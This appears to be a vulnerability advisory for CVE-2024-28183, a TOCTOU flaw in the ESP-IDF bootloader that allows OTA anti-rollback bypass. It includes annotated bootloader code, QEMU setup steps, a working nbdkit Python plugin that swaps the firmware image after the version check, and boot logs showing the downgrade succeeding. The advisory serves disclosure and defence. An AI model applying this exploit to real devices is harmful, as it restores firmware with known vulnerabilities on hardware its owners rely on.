Skip to content

Latest commit

 

History

History
585 lines (497 loc) · 22.8 KB

CVE-2024-28183.md

File metadata and controls

585 lines (497 loc) · 22.8 KB

CVE-2024-28183 OTA Anti-Rollback Bypass via TOCTOU in ESP-IDF

1. Overview

Anti-rollback is a security mechanism implemented in the ESP32 as part of the over-the-air (OTA) update process. This feature prevents attackers from "downgrading" firmware to older and potentially less secure versions. It is implemented through the use of a 32-bit eFuse whose bits represent the latest acceptable secure_version for an application image. The secure_version value is set at build time for an application image and is burned into the eFuse after a successful upgrade.

A Time-of-Check-Time-of-Use (TOCTOU) vulnerability was discovered in the implementation of the ESP-IDF bootloader which could allow an attacker with physical access to a device to bypass anti-rollback protections.

This issue was found to affect the latest version of ESP-IDF (v5.3-dev) at the time of discovery.

2. Description

Anti-rollback can be enabled in the second stage bootloader by setting the CONFIG_BOOTLOADER_APP_ANTI_ROLLBACK option before building. The process begins at the call_start_cpu0 function which is the entrypoint for the second stage bootloader. This function reads and parses the partition table from flash and selects the application image to load. When anti-rollback is enabled, some checks are performed within the bootloader_utility_get_selected_boot_partition function so that only applications with a high enough secure version can be considered for booting. After the boot partition has been selected, the bootloader_utility_load_boot_image function is called to load the app image. This function steps through the possible partitions to find one that can be booted. The final anti-rollback checks are performed here, but are performed before the application image is loaded (refetched from flash), leading to a TOCTOU issue.

components/bootloader_support/src/bootloader_utility.c (added comments marked with //!):

void bootloader_utility_load_boot_image(const bootloader_state_t *bs, int start_index)
{
    int index = start_index;
    esp_partition_pos_t part;
    esp_image_metadata_t image_data = {0};

    if (start_index == TEST_APP_INDEX) {
        if (check_anti_rollback(&bs->test) && try_load_partition(&bs->test, &image_data)) { //! [1] TOCTOU
            load_image(&image_data);
        } else {
            ESP_LOGE(TAG, "No bootable test partition in the partition table");
            bootloader_reset();
        }
    }

    /* work backwards from start_index, down to the factory app */
    for (index = start_index; index >= FACTORY_INDEX; index--) {
        part = index_to_partition(bs, index);
        if (part.size == 0) {
            continue;
        }
        ESP_LOGD(TAG, TRY_LOG_FORMAT, index, part.offset, part.size);
        if (check_anti_rollback(&part) && try_load_partition(&part, &image_data)) { //! [2] TOCTOU
            set_actual_ota_seq(bs, index);
            load_image(&image_data);
        }
        log_invalid_app_partition(index);
    }

    /* failing that work forwards from start_index, try valid OTA slots */
    for (index = start_index + 1; index < (int)bs->app_count; index++) {
        part = index_to_partition(bs, index);
        if (part.size == 0) {
            continue;
        }
        ESP_LOGD(TAG, TRY_LOG_FORMAT, index, part.offset, part.size);
        if (check_anti_rollback(&part) && try_load_partition(&part, &image_data)) { //! [3] TOCTOU
            set_actual_ota_seq(bs, index);
            load_image(&image_data);
        }
        log_invalid_app_partition(index);
    }

    if (check_anti_rollback(&bs->test) && try_load_partition(&bs->test, &image_data)) { //! [4] TOCTOU
        ESP_LOGW(TAG, "Falling back to test app as only bootable partition");
        load_image(&image_data);
    }

    ESP_LOGE(TAG, "No bootable app partitions in the partition table");
    bzero(&image_data, sizeof(esp_image_metadata_t));
    bootloader_reset();
}

In each of the lines marked at [1], [2], [3], [4], the anti-rollback check is performed before trying to load the partition. The first argument to the try_load_partition function is a esp_partition_pos_t type which only specifies the position and size of the partition in flash. The actual image data is refetched within this function, despite the anti-rollback check having been performed on potentially different data.

As a result, an attacker with precise control of the device's flash could replace the application image with an older version after the anti-rollback checks have occured and just before the image is loaded to be booted.

3. Proof of Concept

Environment Setup

This section outlines steps for setting up the testing environment to reproduce the issue with QEMU.

For convenience of developing the proof of concept, the example has flash encryption disabled. However, it is noted that this issue also affects devices with flash encryption enabled as it only involves replacing an entire application image with a previous version.

For convenience of reproducing the issue, the attached bootloader image, eFuse file and application image can be directly used instead of rebuilding them. That is, the ESP-IDF section can be safely skipped if using the attached files.

QEMU

The Espressif QEMU fork is used for dynamic testing. It can be built with the following commands:

git clone https://github.com/espressif/qemu.git
cd qemu
./configure --target-list=xtensa-softmmu --enable-gcrypt --enable-debug --disable-strip --disable-user --disable-capstone --disable-vnc --disable-sdl --disable-gtk
ninja -C build

This makes the ./qemu/build/qemu-system-xtensa binary available.

ESP-IDF

Clone and build ESP-IDF and use the example hello world project:

git clone --recursive https://github.com/espressif/esp-idf.git
esp-idf/install.sh esp32
source esp-idf/export.sh
export PROJ_HOME="${PWD}/hello_world"
cp -r esp-idf/examples/get-started/hello_world $PROJ_HOME
idf.py -C ${PROJ_HOME} set-target esp32
espsecure.py generate_signing_key "${PROJ_HOME}/secure_boot_signing_key.pem"
idf.py -C ${PROJ_HOME} menuconfig

In the visual menuconfig, ensure the following options are configured:

Bootloader config  --->
  [*] Enable app rollback support
  [*]     Enable app anti-rollback support
  (0)         eFuse secure version of app (NEW)
  (32)        Size of the efuse secure version field (NEW)

Security features  --->
  [*] Enable hardware Secure Boot in bootloader (READ DOCS FIRST)
          Select secure boot version (Enable Secure Boot version 1)  --->
      Secure bootloader mode (One-time flash)  --->
  [*] Sign binaries during build (NEW)
  (secure_boot_signing_key.pem) Secure boot private signing key (NEW)

Serial flasher config  --->
    Flash size (8 MB)  --->
      (X) 8 MB

Partition Table  --->
  Partition Table (Custom partition table CSV)  --->
    (X) Custom partition table CSV
  (partitions-ota.csv) Custom partition CSV file
  (0x10000) Offset of partition table

Create a file ${PROJ_HOME}/partitions-ota.csv with the following contents:

nvs,      data, nvs,      ,  0x4000
otadata,  data, ota,      ,  0x2000
phy_init, data, phy,      ,  0x1000
ota_0,    app,  ota_0,    ,  1M
ota_1,    app,  ota_1,    ,  1M
nvs_key,  data, nvs_keys, ,  0x1000

Build the bootloader and application image by running

idf.py -C ${PROJ_HOME} build

Keep a copy of the built application image at ${PROJ_HOME}/build/hello_world.bin naming it hello_world_secver0.bin.

Edit the ${PROJ_HOME}/sdkconfig file and change the line

CONFIG_BOOTLOADER_APP_SECURE_VERSION=0

to

CONFIG_BOOTLOADER_APP_SECURE_VERSION=10

Rebuild the application image by running

idf.py -C ${PROJ_HOME} build

Run the following command to create the files qemu_flash.bin and qemu_efuse.bin and run QEMU listening on port 5555 for emulated UART communications.

truncate ${PROJ_HOME}/qemu_flash.bin -s 8M
truncate ${PROJ_HOME}/qemu_efuse.bin -s 124
./qemu/build/qemu-system-xtensa -nographic \
    -machine esp32 \
    -drive file=${PROJ_HOME}/qemu_flash.bin,if=mtd,format=raw \
    -drive file=${PROJ_HOME}/qemu_efuse.bin,if=none,format=raw,id=efuse \
    -global driver=nvram.esp32.efuse,property=drive,value=efuse \
    -global driver=esp32.gpio,property=strap_mode,value=0x0f \
    -serial tcp::5555,server,nowait

In a separate terminal, run the following commands to flash the bootloader and application image with secure version 10:

cd $PROJ_HOME/build
xargs python -m esptool -p socket://localhost:5555 --chip esp32 -b 460800 --before default_reset --after no_reset write_flash < bootloader-flash_args
xargs python -m esptool -p socket://localhost:5555 --chip esp32 -b 460800 --before default_reset --after no_reset write_flash < flash_args

Run QEMU with the following command and notice that the secure version burned into the eFuse is set to 10:

./qemu/build/qemu-system-xtensa -nographic \
    -machine esp32 \
    -drive file=${PROJ_HOME}/qemu_flash.bin,if=mtd,format=raw \
    -drive file=${PROJ_HOME}/qemu_efuse.bin,if=none,format=raw,id=efuse \
    -global driver=nvram.esp32.efuse,property=drive,value=efuse

Example output:

Adding SPI flash device
ets Jul 29 2019 12:21:46

rst:0x1 (POWERON_RESET),boot:0x12 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff00c0,len:11836
ho 0 tail 12 room 4
load:0x40078000,len:26028
load:0x40080400,len:4
ho 8 tail 4 room 4
load:0x40080404,len:3904
entry 0x40080640
I (751) boot: ESP-IDF v5.3-dev-892-g692c1fcc52 2nd stage bootloader
I (754) boot: compile time Dec 15 2023 15:05:16
I (754) boot: Multicore bootloader
I (776) boot: chip revision: v0.0
I (782) boot.esp32: SPI Speed      : 40MHz
I (783) boot.esp32: SPI Mode       : DIO
I (783) boot.esp32: SPI Flash Size : 8MB
I (796) boot: Enabling RNG early entropy source...
I (815) boot: Partition Table:
I (816) boot: ## Label            Usage          Type ST Offset   Length
I (816) boot:  0 nvs              WiFi data        01 02 00011000 00004000
I (817) boot:  1 otadata          OTA data         01 00 00015000 00002000
I (818) boot:  2 phy_init         RF data          01 01 00017000 00001000
I (819) boot:  3 ota_0            OTA app          00 10 00020000 00100000
I (819) boot:  4 ota_1            OTA app          00 11 00120000 00100000
I (820) boot:  5 nvs_key          NVS keys         01 04 00220000 00001000
I (827) boot: End of partition table
I (840) boot: Enabled a check secure version of app for anti rollback
I (840) boot: Secure version (from eFuse) = 0
I (845) boot: otadata[0..1] in initial state
I (867) esp_image: segment 0: paddr=00020020 vaddr=3f400020 size=0a390h ( 41872) map
I (899) esp_image: segment 1: paddr=0002a3b8 vaddr=3ffb0000 size=02240h (  8768) load
I (919) esp_image: segment 2: paddr=0002c600 vaddr=40080000 size=03a18h ( 14872) load
I (943) esp_image: segment 3: paddr=00030020 vaddr=400d0020 size=149b0h ( 84400) map
I (986) esp_image: segment 4: paddr=000449d8 vaddr=40083a18 size=08d8ch ( 36236) load
I (1015) esp_image: segment 5: paddr=0004d76c vaddr=00000000 size=02814h ( 10260)
I (1036) esp_image: Verifying image signature...
I (1118) boot: Loaded app from partition at offset 0x20000
I (1124) boot: Set actual ota_seq=1 in otadata[0]
I (1143) efuse: BURN BLOCK3
I (1345) efuse: BURN BLOCK3 - OK (all write block bits are set)
I (1346) efuse: Anti-rollback is set. eFuse field is updated(10).
I (1355) esp_image: segment 0: paddr=00001020 vaddr=3fff00c0 size=02e3ch ( 11836)
I (1379) esp_image: segment 1: paddr=00003e64 vaddr=40078000 size=065ach ( 26028)
I (1401) esp_image: segment 2: paddr=0000a418 vaddr=40080400 size=00004h (     4)
I (1428) esp_image: segment 3: paddr=0000a424 vaddr=40080404 size=00f40h (  3904)
I (1452) secure_boot_v1: Generating new secure boot key...
I (1458) efuse: BURN BLOCK2
I (1659) efuse: BURN BLOCK2 - OK (all write block bits are set)
I (1660) secure_boot_v1: Generating secure boot digest...
I (1696) secure_boot_v1: Digest generation complete.
I (1697) boot: Checking secure boot...
I (1698) efuse: Batch mode of writing fields is enabled
I (1699) secure_boot_v1: blowing secure boot efuse...
I (1699) secure_boot: Read & write protecting new key...
I (1701) secure_boot: Disable JTAG...
I (1701) secure_boot: Disable ROM BASIC interpreter fallback...
I (1703) efuse: BURN BLOCK0
I (1904) efuse: BURN BLOCK0 - OK (all write block bits are set)
I (1905) efuse: Batch mode. Prepared fields are committed
I (1906) secure_boot_v1: secure boot is now enabled for bootloader image
I (1907) boot: Disabling RNG early entropy source...
I (1927) cpu_start: Multicore app
I (3624) cpu_start: Pro cpu start user code
I (3628) cpu_start: cpu freq: 160000000 Hz
I (3629) cpu_start: Application information:
I (3629) cpu_start: Project name:     hello_world
I (3630) cpu_start: App version:      a6b2033-dirty
I (3631) cpu_start: Secure version:   10
I (3631) cpu_start: Compile time:     Dec 15 2023 15:05:26
I (3633) cpu_start: ELF file SHA256:  a0c730a15...
I (3633) cpu_start: ESP-IDF:          v5.3-dev-892-g692c1fcc52
I (3634) cpu_start: Min chip rev:     v0.0
I (3634) cpu_start: Max chip rev:     v3.99
I (3635) cpu_start: Chip rev:         v0.0
I (3640) heap_init: Initializing. RAM available for dynamic allocation:
I (3644) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM
I (3645) heap_init: At 3FFB2B90 len 0002D470 (181 KiB): DRAM
I (3646) heap_init: At 3FFE0440 len 00003AE0 (14 KiB): D/IRAM
I (3646) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (3647) heap_init: At 4008C7A4 len 0001385C (78 KiB): IRAM
I (3739) spi_flash: detected chip: gd
I (3753) spi_flash: flash io: dio
I (3814) main_task: Started on CPU0
I (3854) main_task: Calling app_main()
Hello world!
This is esp32 chip with 2 CPU core(s), WiFi/BTBLE, silicon revision v0.0, 8MB external flash
Minimum free heap size: 300684 bytes
Restarting in 10 seconds...
Restarting in 9 seconds...
Restarting in 8 seconds...
QEMU: Terminated

nbdkit

nbdkit is used to simulate the attacker's precise control over the flash contents. Install nbdkit according to the instructions on the README, ensuring that Python plugin support is also available. Assuming Python is already installed, this can be done with the following commands:

git clone https://gitlab.com/nbdkit/nbdkit.git
cd nbdkit
autoreconf -i
./configure
make

Triggering the Vulnerability

The secure_version for an image is specified at build time by setting the CONFIG_BOOTLOADER_APP_SECURE_VERSION config value. In the application image binary, this value is stored within the application's description which is at an offset of 32 bytes from the start of the partition (following the image header and a segment header). The attack works by setting this value to a version higher than the secure version indicated in the anti-rollback eFuse for the anti-rollback checks. After the anti-rollback checks are complete, this value does not matter and the entire image can be replaced with an older version of the application.

The following nbdkit Python plugin implements the attack. The 6th read request for the application image (at 0x20000) was determined to be the request which loads the image for booting. Before this request, the application's description is set to have a secure_version of 10 so that anti-rollback checks will pass. From the 6th request onwards, the application image is replaced completely with that of the version 0 image.

import sys, os, io
import nbdkit

sys.path.append(os.path.join(os.path.dirname(__file__), './'))
from esploit_utils import *
import esploit_utils as esp_consts

required_config_keys = {
    'BOOTLOADER_IMAGE': 'file',
    'HELLO_WORLD_VER0_IMAGE': 'file'
}

FLASH_DATA = bytearray(0x100000 * 8)
PARTITION_TABLE = gen_partition_table([
    (esp_consts.PART_TYPE_DATA, esp_consts.PART_SUBTYPE_DATA_OTA, 0x15000, 0x2000, b'otadata'),
    (esp_consts.PART_TYPE_APP, esp_consts.PART_SUBTYPE_OTA_FLAG | 0x0, 0x20000, 0x100000, b'ota_0'),
    (esp_consts.PART_TYPE_APP, esp_consts.PART_SUBTYPE_OTA_FLAG | 0x1, 0x120000, 0x100000, b'ota_1'),
])
OTA_DATA  = gen_ota_select_entry(1, b'\xff' * 20, esp_consts.ESP_OTA_IMG_VALID)
OTA_DATA += gen_ota_select_entry(2, b'\xff' * 20, esp_consts.ESP_OTA_IMG_INVALID)

# ========== nbdkit boilerplate ==========
API_VERSION = 2

for k in required_config_keys:
    globals()[k] = None

def config(key, value):
    if key in required_config_keys:
        if required_config_keys[key] == 'file':
            globals()[key] = __builtins__.open(os.path.abspath(value), 'rb').read()
        else:
            raise RuntimeError(f'Unknown config value type {required_config_keys[key]} for config {key}')

def config_complete():
    for k in required_config_keys:
        if globals()[k] is None:
            raise RuntimeError(f'{k} is a specified config value but was not set')

def thread_model():
    return nbdkit.THREAD_MODEL_SERIALIZE_ALL_REQUESTS

def open(readonly):
    initialise_flash_data()
    return {}

def get_size(h):
    return len(FLASH_DATA)

# ========== flash abstractions ==========
def initialise_flash_data():
    global FLASH_DATA
    FLASH_DATA[0x1000:0x1000+len(BOOTLOADER_IMAGE)] = BOOTLOADER_IMAGE
    FLASH_DATA[0x10000:0x10000+len(PARTITION_TABLE)] = PARTITION_TABLE
    FLASH_DATA[0x15000:0x15000+len(OTA_DATA)] = OTA_DATA
    FLASH_DATA[0x20000:0x20000+len(HELLO_WORLD_VER0_IMAGE)] = HELLO_WORLD_VER0_IMAGE
    app_desc = gen_app_desc(10, b'asdf', b'asdf', b'asdf', b'asdf', b'asdf')
    FLASH_DATA[0x20000+32:0x20000+32+len(app_desc)] = app_desc # +32 for image header / segment header

cnt = 0
def pread(h, buf, offset, flags):
    global cnt

    # TOCTOU: replace app image after checks
    if offset == 0x20000:
        cnt += 1
        nbdkit.debug(f'Flash read request for 0x20000: {cnt = }')
        if cnt == 6:
            FLASH_DATA[0x20000:0x20000+len(HELLO_WORLD_VER0_IMAGE)] = HELLO_WORLD_VER0_IMAGE

    for i in range(min(len(buf), len(FLASH_DATA) - offset)):
        buf[i] = FLASH_DATA[offset+i]

def pwrite(h, buf, offset, flags):
    global FLASH_DATA
    FLASH_DATA[offset:offset+len(buf)] = bytes(buf)

nbdkit can be run using this plugin with the following command (replace the bootloader.bin and hello_world_secver0.bin files appropriately if not using the attached files):

./nbdkit/nbdkit -f -v python ./nbdkit-anti-rollback-toctou-bypass.py BOOTLOADER_IMAGE=bootloader.bin HELLO_WORLD_VER0_IMAGE=hello_world_secver0.bin

Run QEMU with the following command (replace the qemu_efuse.bin file appropriately if not using the attached files):

./qemu/build/qemu-system-xtensa -nographic \
    -machine esp32 \
    -drive file=nbd://localhost,if=mtd,format=raw \
    -drive file=qemu_efuse.bin,if=none,format=raw,id=efuse \
    -global driver=nvram.esp32.efuse,property=drive,value=efuse

Observe the output log:

Adding SPI flash device
ets Jul 29 2019 12:21:46

rst:0x1 (POWERON_RESET),boot:0x12 (SPI_FAST_FLASH_BOOT)
configsip: 0, SPIWP:0xee
clk_drv:0x00,q_drv:0x00,d_drv:0x00,cs0_drv:0x00,hd_drv:0x00,wp_drv:0x00
mode:DIO, clock div:2
load:0x3fff00c0,len:11836
ho 0 tail 12 room 4
load:0x40078000,len:26028
load:0x40080400,len:4
ho 8 tail 4 room 4
load:0x40080404,len:3904
entry 0x40080640
I (3440) boot: ESP-IDF v5.3-dev-892-g692c1fcc52 2nd stage bootloader
I (3443) boot: compile time Dec 15 2023 15:04:02
I (3443) boot: Multicore bootloader
I (4450) boot: chip revision: v0.0
I (4457) boot.esp32: SPI Speed      : 40MHz
I (4457) boot.esp32: SPI Mode       : DIO
I (4457) boot.esp32: SPI Flash Size : 8MB
I (4802) boot: Enabling RNG early entropy source...
I (5144) boot: Partition Table:
I (5145) boot: ## Label            Usage          Type ST Offset   Length
I (5145) boot:  0 otadata          OTA data         01 00 00015000 00002000
I (5147) boot:  1 ota_0            OTA app          00 10 00020000 00100000
I (5147) boot:  2 ota_1            OTA app          00 11 00120000 00100000
I (5470) boot: End of partition table
I (6198) boot: Enabled a check secure version of app for anti rollback
I (6199) boot: Secure version (from eFuse) = 10
I (12361) esp_image: segment 0: paddr=00020020 vaddr=3f400020 size=0a390h ( 41872) map
I (15018) esp_image: segment 1: paddr=0002a3b8 vaddr=3ffb0000 size=02240h (  8768) load
I (17750) esp_image: segment 2: paddr=0002c600 vaddr=40080000 size=03a18h ( 14872) load
I (20442) esp_image: segment 3: paddr=00030020 vaddr=400d0020 size=149b0h ( 84400) map
I (23337) esp_image: segment 4: paddr=000449d8 vaddr=40083a18 size=08d8ch ( 36236) load
I (25652) esp_image: segment 5: paddr=0004d76c vaddr=00000000 size=02814h ( 10260)
I (27771) esp_image: Verifying image signature...
I (30536) boot: Loaded app from partition at offset 0x20000
I (30537) secure_boot_v1: bootloader secure boot is already enabled. No need to generate digest. continuing..
I (30539) boot: Checking secure boot...
I (30540) secure_boot_v1: bootloader secure boot is already enabled, continuing..
I (30540) boot: Disabling RNG early entropy source...
I (31276) cpu_start: Multicore app
I (7396) cpu_start: Pro cpu start user code
I (7401) cpu_start: cpu freq: 160000000 Hz
I (7403) cpu_start: Application information:
I (7404) cpu_start: Project name:     hello_world
I (7404) cpu_start: App version:      a6b2033-dirty
I (7405) cpu_start: Secure version:   0
I (7406) cpu_start: Compile time:     Dec 15 2023 15:04:09
I (7408) cpu_start: ELF file SHA256:  3eff680d7...
I (7409) cpu_start: ESP-IDF:          v5.3-dev-892-g692c1fcc52
I (7410) cpu_start: Min chip rev:     v0.0
I (7410) cpu_start: Max chip rev:     v3.99
I (7411) cpu_start: Chip rev:         v0.0
I (7418) heap_init: Initializing. RAM available for dynamic allocation:
I (7423) heap_init: At 3FFAE6E0 len 00001920 (6 KiB): DRAM
I (7425) heap_init: At 3FFB2B90 len 0002D470 (181 KiB): DRAM
I (7425) heap_init: At 3FFE0440 len 00003AE0 (14 KiB): D/IRAM
I (7426) heap_init: At 3FFE4350 len 0001BCB0 (111 KiB): D/IRAM
I (7427) heap_init: At 4008C7A4 len 0001385C (78 KiB): IRAM
I (7550) spi_flash: detected chip: gd
I (7568) spi_flash: flash io: dio
I (7662) main_task: Started on CPU0
I (7702) main_task: Calling app_main()
Hello world!
This is esp32 chip with 2 CPU core(s), WiFi/BTBLE, silicon revision v0.0, 8MB external flash
Minimum free heap size: 300684 bytes
Restarting in 10 seconds...
Restarting in 9 seconds...
Restarting in 8 seconds...
QEMU: Terminated

In particular, notice the lines

I (6198) boot: Enabled a check secure version of app for anti rollback
I (6199) boot: Secure version (from eFuse) = 10

and

I (7404) cpu_start: Project name:     hello_world
I (7404) cpu_start: App version:      a6b2033-dirty
I (7405) cpu_start: Secure version:   0

which indicates that the running application's secure version is lower than the minimum secure version specified by the eFuse.

4. Credit

Joseph Surin, elttam